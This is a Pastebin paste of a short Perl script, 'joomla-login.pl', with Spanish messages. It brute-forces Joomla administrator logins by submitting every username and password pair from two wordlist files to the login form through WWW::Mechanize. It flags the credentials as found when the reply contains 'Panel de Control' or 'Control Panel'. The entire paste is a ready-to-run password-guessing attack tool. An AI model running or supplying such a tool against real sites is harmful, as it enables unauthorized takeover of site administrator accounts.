Advertisement
Guest User

ManuDav

a guest
Jul 5th, 2015
190
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.91 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. use utf8;
  4. use strict;
  5. use WWW::Mechanize;
  6.  
  7. my $url = $ARGV[0];
  8. my $admin = $ARGV[1];
  9. my $password = $ARGV[2];
  10.  
  11. if (!@ARGV)
  12. {
  13. print "perl joomla-login.pl <enlace> <admin> <password>";
  14. }
  15. else
  16. {
  17. my $mechanize = WWW::Mechanize->new();
  18. $mechanize->get($url);
  19. open (ADMIN, "<", $admin) || die("Error al procesador el diccionario de los usuarios.");
  20. while(<ADMIN>)
  21. {
  22. my $adm = $_;
  23. chomp($adm);
  24. open(PASSWORD, "<", $password) ||die("Error al procesar el diccionario de contraseña");
  25. while(<PASSWORD>)
  26. {
  27. chomp($_);
  28. $mechanize->submit_form
  29. (
  30. form_id=> 'form-login',
  31. fields => {username => $adm, passwd => $_}
  32. );
  33. print "$adm:$_\n";
  34. my $content = $mechanize->content;
  35. if ($content=~ /Panel de Control/ || $content=~ /Control Panel/)
  36. {
  37. print "\n\n¡Datos de acceso! $adm:$_\n\n";
  38. }
  39.  
  40. }
  41. close(PASSWORD);
  42. }
  43. close(ADMIN);
  44. }exit;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement